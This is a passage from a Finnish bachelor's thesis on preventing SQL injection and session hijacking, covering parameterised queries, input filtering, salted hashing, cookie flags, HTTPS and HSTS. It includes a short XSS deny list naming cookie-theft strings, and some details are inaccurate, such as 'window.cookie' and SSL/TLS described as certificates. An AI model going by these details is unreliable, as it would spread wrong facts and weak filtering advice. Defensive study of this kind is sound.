Syötteen validointi on äärimmäisen tärkeä osa SQL-injektioiden ehkäisyä. Sitä tehdään pääasiassa kahdella tavalla. Ensimmäinen tapa nimeltään *valkolistaus* (whitelisting) tarkoittaa, että on lista hyväksyttyjä merkkejä tai merkkijonoja. Toinen tapa nimeltään *mustalistaus* (blacklisting) tarkoittaa, että on lista kiellettyjä merkkejä tai merkkijonoja. (Cetin, 2019) valkolistauksessa syöte hylätään, jos joku merkki tai merkkijono ei kuulu hyväksyttyjen merkkijonojen ja/tai merkkien loppuun. mustalistauksessa syöte hylätään, jos joku merkki on kiellettyjen merkkien joukossa. valkolistausta pidetään yleisesti parempana, koska siinä luvallisten merkkien määrä on rajallisempi. Mustalistauksessa on inhimillistä unohtaa tai olla huomioimatta joku merkki, jota hyökkääjä voi käyttää SQL-injektiossa.

Ahmad (2021) esittää käytännön valmistellusta ja parametrisoidusta kyselystä. Tässä lähestymistavassa kaikki SQL-koodi, joka tapahtuu palvelimen puolella, on määritelty ja käännetty ennalta. Tähän kyselyyn lisätään muuttujat parametreinä, jotka tulkitaan merkkijonoina. Tällä tavalla SQL-kyselyn SQL-osion muokkaaminen on mahdotonta. (Ahmad ym., 2021) Tämä käytäntö ei kuitenkaan ole mahdollista silloin, kun kyselyn muuttuja on taulun nimi, taulun sarakkeen nimi tai ORDER BY -käskyn, joka järjestää kyselyn tulokset, osa. Tämä johtuu siitä, että silloin kyselyä ei voi kääntää ennalta. Koska taulun nimiä, taulun sarakkeen nimiä tai sarakkeita, jonka mukaan tuloksen voi järjestää, on rajattu määrä, voi näissä tapauksissa käyttää valkolistausta.

On suositeltavaa, että valmisteltua ja parametrisoitua kyselyä käytetään aina, kun se on mahdollista. Se on tehokas keino estää SQL-injektio, koska se tulkitsee kaiken käyttäjän syötteen merkkijonona ja siten kyselyn SQL-osaan ei ole mahdollista vaikuttaa. Kun sen käyttö ei ole mahdollista, voidaan monesti käyttää valkolistausta syötteiden tarkastamiseen ja kun se ei onnistu turvaudutaan mustalistaukseen. Syötteiden validointi kuuluu tehdä niin selaimessa kuin palvelimessakin. Jos kumpikaan edellä mainituista

tekniikoista ei onnistu niin voidaan käyttää Escaping-tekniikkaa. Jos käyttäjän syötteessä on haitallisiksi määriteltyjä merkkejä kuten ” tai ’ niin ne poistetaan tai kyselyä ei tehdä. SQL-tietokannasta riippuen näitä merkkejä voi olla muitakin. Escaping-tekniikka on hauras puolustusmekanismi eikä se turvaa verkkosivua kovin hyvin SQL-injektioilta. Escaping-tekniikkaa käytettäessä ei voida taata SQL-injektioiden mahdottomuutta (OWASP 2024).

Vaikka näitä edellä mainittuja tapoja estää ja ehkäistä SQL-injektioita on hyvä noudattaa, niin kuuluu kehittäjän aina varautua pahimpaan. Tietokannasta on hyvä olla olemassa varmuuskopio kaiken varalta. Mitään mahdollisesti vääriin käsiin päätyessään todella haitallista tietoa ei saa tallentaa tietokantaan sellaisenaan, vaan ne pitää tallentaa salattuna (Kharod ym., 2015). Salasanat, myös harmittomien verkkosivujen salasanat, on tämänlaista tietoa, koska ihmisillä on tietoturvan näkökulmasta huono taipumus käyttää samaa salasanaa monessa paikassa. Muita esimerkkejä tämänlaisesta tiedosta voisivat olla terapeutin asiakkaiden hallintajärjestelmän henkilökohtaiset asiakastiedot tai jonkun yrityksen tärkeät liikesalaisuudet.

Hajautusfunktiot ovat algoritmeja, jotka ottavat tässä tapauksessa merkkijonon sisäänsä ja tuottavat niin sanotun tiivisteen. Jos syöte on sama, niin myös hajautusfunktiosta ulos tuleva tiiviste on sama. Tätä kutsutaan hash-salaukseksi ja näin salasanoja voidaan tallentaa tietokantaan. Hajautusfunktiot toimivat vain yhteen suuntaan eli hyökkääjän päästessä tiivisteeseen käsiksi, ainoa tapa selvittää alkuperäinen salasana on arvata alkuperäinen salasana, ajaa hajautusfunktion läpi ja todeta funktiosta tullut tiiviste samaksi alkuperäisen tiivisteen kanssa. (Kharod ym., 2015) On hyvä mainita, että tämä lähestymistapa ei toimi esimerkiksi mainitsemiini liikesalaisuuksiin tai terapeuttipalvelun henkilökohtaisiin tietoihin hajautusfunktioiden yksisuuntaisuuden takia. Näissä tapauksissa käytettäisiin sellaista kryptografista salausta, joka on kaksisuuntainen. Silloin palvelin voi muuntaa tietokannassa olevan merkkijonon alkuperäiseksi tekstiksi, jonka palvelin voi halutessaan lähettää selaimelle.

Hajautusfunktion käyttämisessä suoraan salasanaan on se ongelma, että tietokantaan käsiksi päästessään hyökkääjällä on tieto siitä, että mitkä salasanat ovat samoja ja mikä tiiviste on yleisin. Tästä tiedosta hyökkääjä voi hyötyä esimerkiksi katsomalla varastetusta salasanatietokannasta yleisimmät salasanat ja kokeilemalla niiden täsmäävyyttä tämän tietokannan yleisimpien salasanojen kanssa. Hajautusfunktioita voi ja kuuluu tehostaa lisäämällä niiden syötteeseen suola. Suola on satunnaisgeneroitu merkkijonon pätkä, joka lisätään alkuperäisen salasanan eteen tai taakse. Yhdistämällä salasana ja uniikki suola saadaan tiiviste, joka tallennetaan tietokantaan. (Kharod ym., 2015) Suola on uniikki, koska silloin samat salasanat

tuottavat eri tiivisteen. Tietokannan yleisintä salasanaa ei voi päätellä tiivisteistä. Vaikka alkuperäinen hajautusfunktioon syötetty merkkijono arvattaisiin, se ei ole oikea salasana, vaan salasanan ja suolan yhdistelmä.

6. ISTUNTOKAAPPAUKSELTA SUOJAUTUMINEN

Kuten olen jo aiemmin maininnut, istuntokaappauksen voi tehdä monella tavalla. Istuntotunnuksen varastamiskeinoiksi olen nimennyt XSS:n, MITM-hyökkäyksen, datavarkauden ja istuntotunnuksen arvaamisen tilanteissa, joissa palvelin luo ennalta arvattavia istuntotunnuksia. Jotta voin esittää sen, miten istuntokaappaus voidaan estää, on minun luonnollisesti esitettävä tavat, joilla nämä hyökkäystekniikat voidaan estää.

6.1 XSS:ltä suojautuminen

XSS-tekniikoita on monia, minkä takia ei ole yhtä yksiselitteistä ja konkreettista tapaa estää niitä. Suorittaakseen XSS-hyökkäyksen hyökkääjän on injektoitava ja suoritettava ilkeämielistä HTML- tai JavaScript-koodia selaimessa. XSS-puolustautumisen filosofian keskiössä on se, että kaikkien verkkosivun syötekenttien tulee olla tarkastettuja ja puhdistettuja. (OWASP 2024) Tässä puhdistuksella tarkoitetaan jo SQL-injektiota käsittelevästä kappaleesta tuttua valkolistausta tai mustalistausta. Joko määritellään vain hyväksyttävät merkit ja/tai merkkijonot tai sitten kielletyt merkit ja/tai merkkijonot. Jos kumpikaan niistä ei ole mahdollinen, niin käytetään SQL-injektio kappaleesta tuttua escaping-tekniikkaa. Jos käyttäjän syöte sisältää kiellettyjä merkkejä tai merkkijonoja, käynnissä oleva toiminta keskeytetään.

Varastoidussa XSS:ssä ensin syötetään jotain syötekenttään ja sen jälkeen palvelin tallentaa sen tietokantaan. Tämän jälkeen tämän asian näkevät kaikki muut käyttäjät, jotka avaavat sivun. Tästä tein aiemmin esimerkin, jossa käyttäjä kirjoittaa sivulle kommentin, jonka tallennetaan tietokantaan ja sitten kaikki näkevät. Yusof ja Patham (2015) esittävät, että syöte kuuluu tarkistaa ennen tietokantaan tallentamista ja puhdistetaan ennen kuin se lähetettään käyttäjille näytettäväksi. Tämä on järkevä toimintatapa, koska kaikki varastoitu XSS-koodi päätyy tietokantaan tai muuhun sijantiin palvelimella. Tässä tapauksessa ei ole tarpeellista tarkistaa erikseen selaimessa sitä syötekenttää, johon kommentti kirjoitetaan, ellei siihen jotain muuta perustetta ole. Jos mahdollista käytetään valkolistausta, jos ei kuten kommentti esimerkissä, käytetään mustalistausta. Kun puhumme XSS:stä istuntokaappauksen yhteydessä on window.cookie ja window.location kiellettyjen merkkijonojen ensimmäiset jäsenet.

6.2 MITM-hyökkäykseltä suojautuminen

Koska istuntotunnus on evästeenä, on evästeen ominaisuuksien säätäminen olennaista sen suojaamiseksi. Yksi keino, jota aina pitäisi käyttää, on httpOnly- ja Secure-ominaisuuksien käyttö evästeissä. Secure-ominaisuus varmistaa sen, että evästettä ei lisätä kutsuun, joka kulkee suojaamattoman yhteyden kautta. HttpOnly-ominaisuuden käytössä ollessa evästeeseen ei voi saada käsiinsä selaimen puolen skriptien avulla. Ei mahdollisten hyökkääjien eikä kehittäjän omien skriptien avulla.

Kehittäjän kuuluu myös varmistaa, että kaikki kommunikointi tapahtuu HTTPS-protokollan yli. Tämä eroaa HTTP:stä siten, että kaikki data, joka liikkuu, on salattu. SSL (Secure Sockets Layer) ja TLS (Transport Layer Secure) ovat HTTPS-varmenteita, joilla salattu yhteys muodostetaan. TLS on paranneltu versio SSL:stä ja sitä suositellaan käytettävän aina kun mahdollista. (Digicert 2024) Vaikka hyökkääjä onnistuisi salakuuntelemaan HTTPS-kommunikointia, ei hän välttämättä saisi mitään haitallista haltuunsa HSTS (HTTP Strict Transport Security) on keino, jolla palvelin voi pakottaa yhteydet HTTPS-yhteyksiksi, pääasiassa TLS-yhteyksksi. Vaikka HTTPS-yhteyksiä käytettäisiin kaikkialla, hyökkääjillä voi olla keinoja muuntaa HTTP-yhteydeksi. Jos selain yrittäisi tehdä HTTP-yhteyden palvelimelle, joka käyttää HSTS:ää, yhteys estettäisiin. HSTS vähentää MITM-hyökkäysten mahdollisuuksia. (Litvik ym., 2017)

En ole selittänyt miten tarkalleen HTTPS ja siten SSL, TLS ja yhteyksien salaaminen toimii, koska tämä on niin laaja ja monimutkainen asia, että siitä voisi tehdä oman kandidaattitutkintonsa. Asia voidaan yksinkertaistaa siten, että yhteydet kuuluu *allekirjoittaa* kolmannen osapuolen CA (Certificate Authority) toimesta, jotta voidaan varmistua HTTPS-yhteyksien olevan turvallisia. Pelkkä HTTPS-yhteys on toki salattu, mutta CA:n avulla allekirjoitettua yhteyttä pidetään vielä turvallisempana. Viime kappaleessa viittaamani digicert on yksi selaimien luottama CA. Turvattomien WI-FI yhteyksien ja muiden yhteyksien käyttämiseen on kehittäjän vaikea vaikuttaa eikä se edes ole kehittäjän työtä. Toisaalta suojattujen yhteyksien pakottaminen vaikuttaa tähän osaltaan. Yritys voi kyllä yrittää lisätä ihmisten tietoisuutta turvattomien yhteyksien vaaroista oman nettisivunsa käyttäjille.

6.3 Ennalta arvattavan istuntotunnuksen välttäminen

Yhdeksi hyökkäystavaksi olen nimennyt sen, että hyökkääjä voi saada istuntotunnuksen tietoonsa, jos palvelin generoi sen siten, että sen voi arvata ennalta. Tämän hyökkäyskeinon välttäminen ei vaadi muuta kuin sen, että palvelimen tekijä toimii vastuullisesti. Istuntotunnuksen pitää olla satunnainen riippumatta milloin, missä ja kenen toimesta kirjautuminen tehdään. Jos tunnus esimerkiksi olisi kirjautumiseen

tarkoitetun HTTP-kutsun ajan ja kutsun lähettäjän IP-osoitteen yhdistelmä, voisivat hyökkääjät käyttää tätä hyväkseen. En aio mennä sen syvemmin tapaan, jolla tämä merkkijono voidaan muodostaa, mutta helpoin tapa on käyttää jotain luotettavaa kirjastoa. JavaScript on suosituin verkkosivujen toteuttamiseen käytetty kieli ja uuid sen suosituin kirjasto. Sana uuid tulee sanoista Universally unique identifier eli kirjasto muodostaa satunnaisia uniikkeja merkkijonoja. Todennäköisyys sille, että tulee kaksi samaa uuid:tä ei ole nolla, mutta se on niin lähellä nollaa, että tämä riski on lähes olematon. Muitakin keinoja toki on kuten window.crypto.getRandomValues() funktion hyödyntäminen. (Sling academy)

7. YHTEENVETO

Tutkimuskysymykseni oli siis seuraava. **Miten SQL injektiota ja istuntokaappausta käytetään osana nettisivuhyökkäyksiä ja miten niiltä voi suojautua?**

Työssäni kerroin, että SQL-injektiolla tarkoitetaan hyökkäystä, jossa hyökkääjä pääsee tekemään haitallisia kyselyitä tietokantaan. Hyökkääjä onnistuu tekemään näin syöttämällä SQL-koodia selaimen syötekenttään kohdassa, jossa palvelin luo dynaamisesti SQL-kyselyn. Hyökkääjä voi tällä tavoin lisätä, varastaa, muuntaa tietoa, poistaa rivejä tai tehdä jotain muita ei toivottuja toimenpiteitä.

SQL-injektion ensisijaiseksi puolustamiskeinoksi nimesin valmistellun ja parametrisoidun kyselyn. Se on tehokas keino, koska sen avulla SQL-koodi on käännetty ennalta ja lisätyt parametrit tulkitaan merkkijonona. SQL-koodiin on siten mahdotonta vaikuttaa, mutta tämä ei ole aina mahdollista kuten silloin, kun muuttuja on taulun tai taulun sarakkeen nimi. Kun tämä ei ole mahdollista käytetään valkolistausta, jossa hyväksytyt merkit ja/tai merkkijonot on määritelty ennalta. Jos sekään ei ole mahdollista mustalistausta tekniikkaa, jossa kielletyt merkit ja/tai merkkijonot on määritelty ennalta. Näiden keinojen lisäksi varaudutaan pahimpaan. Tietokannasta tehdään varmuuskopio, jotta kaikkea ei menetetä lopullisesti, jos tietokannasta menetetään tietoa. Syynä tähän voi hyökkäyksen lisäksi olla esimerkiksi kehittäjän tekemä virhe, joka päätyy tuotantoon. Mahdollisesti väärissä käsissä haitallista tietoa ei tallenneta tietokantaan sellaisenaan. Salasanojen salaaminen tapahtuu palvelimella hajautusfunktioiden avulla. hajautusfunktioiden alkuperäisen merkkijonon eteen tai taakse lisätään suola hajautusfunktion tehostamiseksi.

Istuntokaappaus on hyökkäys, joka kohdistetaan sivuihin, jotka käyttävät web-istuntoa. Web-istunto toimii siten, että käyttäjän kirjautuessa palvelin tarkastaa käyttäjätietojen oikeellisuuden. Jos käyttäjätiedot ovat oikeat, palvelin luo merkkijonon, jonka avulla käyttäjä tunnistetaan. Tämä merkkijono lähetetään evästeenä selaimelle ja aina kun selain tekee kutsun palvelimelle, tämä merkkijono kulkee kutsussa mukana evästeenä. Jos hyökkääjä pääsee tähän merkkijonoon käsiksi, hän voi tehdä siitä kopion omalle selaimelle. Nyt palvelin luulee, että hyökkääjän selain on käyttäjän selain ja hyökkääjä voi tehdä asioita käyttäjän nimissä. Istuntokaappauksella tarkoitetaan kaikkia niitä hyökkäyksiä, joilla tähän merkkijonoon päästään käsiksi. Keinoiksi olen nimennyt

XSS, MITM, data varkaus ja tunnuksen arvaamisen tilanteissa, joissa palvelin generoi ennalta arvattavia istuntotunnuksia.

Jotta istuntokaappaukselta voitaisiin suojautua, pitää suojautua kaikilta siihen käytettäviltä keinoilta. XSS suojautumisen istuntokaappauksen yhteydessä voitaisiin tiivistää yhteen virkkeeseen. Käytä HttpOnly evästeitä, jolloin selaimen puolen scripteillä ei pääse käsiksi evästeeseen. Sivusin kappaleessa kuusi myös vähän XSS:ltä suojautumista yleisesti.

MITM-hyökkäykset ovat kaikki ne hyökkäykset, joissa kahden osapuolen välinen kommunikointi kaapataan tai sitä salakuunnellaan. Evästeissä kuuluu aina käyttää HttpOnly-ominaisuuden lisäksi Secure-ominaisuutta, joka estää evästeen lähettämisen niitä yhteyksiä pitkin, joita ei luokitella turvalliseksi. Tämän lisäksi kehittäjän kuuluu varmistaa, että HTTPS-protokollaa käytetään kaikkialla nettisivulla. Jos sitä käytettäisiin vain kirjautumissivulla ja muut sivut käyttäisivät HTTP-protokollaa, olisi hyökkääjän helpompi päästä viestin sisältöön käsiksi, koska sitä ei HTTP-protokollassa ole salattu. HSTS on HTTP-kutsun otsikko, joka pakottaa kaikkien palvelimelle tehtyjen yhteyksien olevan HTTPS-yhteyksiä. Jos muita ei salattuja yhteyksiä yritetään tehdä, palvelin estää yhteyden. Vaikka sivusto käyttäisi HTTPS:ää, hyökkääjillä voi olla keinoja muuntaa yhteys HTTP-yhteydeksi. HSTS on keino varmistaa, ettei HTTP-yhteyksiä pystytä luomaan ja siten ehkäisee MITM-hyökkäyksiä. Sivuston yhteyksien kuuluu käyttää ei itse allekirjoitettuja SSL/TLS *todistuksia* (certificate). Jotkut MITM-hyökkäykset perustuvat siihen, että käyttäjät saadaan käyttämään turvaamattomia WI-FI yhteyksiä. Niihin on kehittäjän vaikea vaikuttaa, mutta esimerkiksi tietoisuutta voidaan yrittää lisätä.

Viimeinen hyökkäyskeino on käyttäjän istuntotunnuksen arvaaminen tilanteissa, jossa palvelin generoi ennalta-arvattavia istuntotunnuksia. Tämä voidaan välttää pitämällä huoli siitä, että tunnus generoidaan oikeasti satunnaisesti. Suosittelin käyttämään jotain asian hoitavaa luotettavaa kirjastoa. Mainitsin uuid:n, koska se on nettisivukehityksen suosituimman kielen eli JavaScriptin suosituin kirjasto uniikin tunnuksen luomiseen. Muitakin keinoja toki on kuin ulkoisten kirjastojen käyttö.

Vastasin tutkimuskysymykseeni kokonaisvaltaisesti. Kerroin mikä SQL-injektio on ja selitin, mitä parhaat puolustautumiskeinot ovat. Istuntokaappauksen ymmärtämiseksi taustoitin verkkosivujen toimintaa ja kerroin miten istuntokaappaus toimii. Kerroin keinot, miten istuntokaappaus voidaan suorittaa ja esitin myös puolustautumistekniikoita. MITM-hyökkäyksen eri muotoihin oisin voinut syventyä enemmän, mutta niihin syventyminen vaatisi paljon taustatietoa ja jouduin tekemään kompromissin työni pituuden takia. Johdannossa totesin, että pyrin antamaan mahdollisimman konkreettisia keinoja

hyökkäyksien torjumiseksi ja välttämään ympäripyöreyksiä. Pidin tämän tavoitteen koko kandidaattitutkielman tekemisen ajan mielessäni ja annoin konkreettisia keinoja, kun se oli mahdollista.

Lähdeluettelo

Cetin, C. (2019). Authentication and SQL-Injection Prevention Techniques in Web Applications. University of South Florida ProQuest Dissertations & Theses. https://www.proquest.com/docview/2299503036/F6BBFD0E6F644211PQ

Digicert, What is SSL, TLS & HTTPS? saatavissa (viitattu 18.8.2024) https://www.digicert.com/what-is-ssl-tls-and-https

Donálk, I., & Litvik, J. (2017). Introduction to HTTP Security Headers and implementation of HTTP Strict Transport Security (HSTS) header for HTTPS enforcing. IEEE, saatavissa https://ieeexplore-ieee-org.libproxy.tuni.fi/document/8102478

D'silva, K., Vanajakshi, J., Manjunath, K. N., Srikanth, P. 2017. An effective method for preventing SQL injection attack and session hijacking, IEEE. https://ieeexplore-ieee-org.lib-proxy.tuni.fi/abstract/document/8256687

Hydara, I., Abu Bakar, S., Hazura Z., & Admodisastro, N. (2021). The Limitations of Cross-Site Scripting Vulnerabilities Detection and Removal Techniques Turkish Journal of Computer and Mathematics Education https://www.proquest.com/docview/2623050159/4C5DE25F33344345PQ

Imran, Y., & Al-Sakib K. P. (2014). Preventing Persistent Cross-Site Scripting (XSS) Attack By Applying Pattern Filtering Approach. Institute of electrical and electronic en-gineers. https://ieeexplore.ieee.org/document/7020628

Jaydeep, R. T., Vekariya, V., Sorathiya, V., Alshathri, S., & El-Shafai, W. (2024). Securing web applications against XSS and SQLi attacks using a novel deep learning approach. Scientific Reports. https://www.nature.com/articles/s41598-023-48845-4

Kambre, O. K., Shah, K. K., & Rathod, P. D. (2023). SQL Injection Attacks and Defense Mechanisms, IRJIET, https://www.proquest.com/docview/2797586279/A68C8F3670A04235PQ

Kamsuriah A., & Mayshara K. (2021) A Method to Prevent SQL Injection Attack using an Improved Parameterized Stored Procedure. IJACSA https://doi.org/10.14569/IJACSA.2021.0120636

Kharod, S., Sharma, N., & Sharma, A. (2015) An Improved Hashing Based Password Security Scheme Using Salting and Differential Masking, IEEE ,saatavissa https://ieeexplore-ieee-org.libproxy.tuni.fi/document/7359225

LACroix, K., Loo, L. Y., & Choi, B. Y. (2017). Cookies and Sessions: A Study of What They Are, How They Work and How They Can Be Stolen. ICSSA. https://ieeexplore.ieee.org/docu-ment/8392612

Meenakshi, & Talwinder, S. (2020). Prevention of session hijacking using token and session id reset approach. Springer Nature B.V. https://doi.org/10.1007/s41870-020-00486-w

Praveen, S., Dcouth, A., & Mahesh, A. S. (2022) NoSQL Injection Detection Using Supervised Text Classification. International Conference on Intelligent Technologies. https://ieeexplore.ieee.org/document/9848017

Putro, A. W. P., & Rionaldy, R. (2019). Implementation of the Park Schema on User Authentication Services Using Password-Based Web Codeigniter Library to Overcome Man in the Middle Attack. ICIC. https://ieeexplore-ieee- org.lib-proxy.tuni.fi/document/8985877

Sling academy. 4 Ways to Generate Random Strings in JavaScript, saatavissa (viitattu 2.8.2024) https://www.slingacademy.com/article/ways-to-generate-random strings-in-javascript

Shirvastava, A., Choudhary, S., Kumar, A. (2016). XSS vulnerability assessment and prevention in web application, NGCT. https://ieeexplore.ieee.org/document/7877529

Tampereen Yliopisto. kyberturvallisuuden määritelmä. saatavissa (viitattu 17.9.2024) https://plus.tuni.fi/comp.sec.100/fall-2023/m01_introduction/cybersecurity

The Open Web Application Security Project. (2021). 2021 top 10. Saatavissa (viitattu 17.9.204) https://owasp.org/Top10

The Open Web Application Security Project. (2017). 2017 top 10, Saatavissa (viitattu 17.9.204) https://owasp.org/www-project-top-ten/2017/Top_10

The OWASP foundation, Cross Site Scripting Prevention Cheat Sheet, saatavissa (viitattu 2.8.2024) https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

The OWASP foundation, SQL Injection Prevention Cheat Sheet saatavissa (viitattu 17.9.2024) https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Wisal, K., Teerath, K., Cheng, Z., Raj, K., Arunabha, R., & Bin, L. (2023) SQL and NoSQL Database Software Architecture Performance Analysis and Assessments —A Systematic Literature Review. School of Computer Science and Technology, Anhui University. https://doi.org/10.3390/bdcc7020097